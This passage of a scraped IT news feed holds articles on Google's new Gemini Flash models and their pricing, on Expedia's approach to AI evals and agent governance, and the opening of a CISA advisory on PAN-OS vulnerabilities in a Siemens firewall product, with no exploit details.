restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]></title>
<description><![CDATA[“The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other thi...]]></description>
<link>https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>“The new PRD are the evals,” Xavi Amatriain, <a href="https://www.expediagroup.com/en-us">Expedia Group’s</a> first chief AI and data officer, told the <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”</p><p>He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”</p><p>Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI. </p><p>VentureBeat’s <a href="https://venturebeat.com/orchestration/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them">VB Pulse research on the evaluation gap</a> reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.</p><h2><b>Don’t let guardrails get in the way of feedback</b></h2><p>“The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.</p><p>Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.</p><p>Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.</p><p>In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and <a href="https://venturebeat.com/orchestration/what-billions-of-ai-predictions-taught-expedia-before-the-age-of-ai-agents">the checks shift from recommended to required as the stakes climb</a>. </p><h2>Specialized agents over monolithic intelligence</h2><p>“Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”</p><p>Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”</p><p>Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.</p><h2>When the user must keep the final click</h2><p>Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.</p><p>“The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.</p><p>“We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”</p><h2>The next attackers will be other AI systems</h2><p>“Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”</p><p>A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”</p><p>Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">Pulse survey on agent security</a>, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.</p><p>Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”</p>]]></content:encoded>
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<title><![CDATA[Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW]]></title>
<description><![CDATA[View CSAF
Summary
Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream s...]]></description>
<link>https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684508/it-security-nachrichten/siemens-ruggedcom-ape1808-with-palo-alto-networks-virtual-ngfw/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Palo Alto Networks has published [1] information on vulnerabilities in PAN-OS. This advisory lists the related Siemens Industrial products affected by these vulnerabilities. Customers are advised to consult and implement the workarounds provided in Palo Alto Networks' upstream security notifications. [1] https://security.paloaltonetworks.com/</strong></p>
<p>The following versions of Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW are affected:</p>
<ul>
<li>RUGGEDCOM APE1808 vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.2</td>
<td>Siemens</td>
<td>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authorization, Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0266</a></h3>
<div class="csaf-accordion-content">
<p>A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0272</a></h3>
<div class="csaf-accordion-content">
<p>A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0272">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
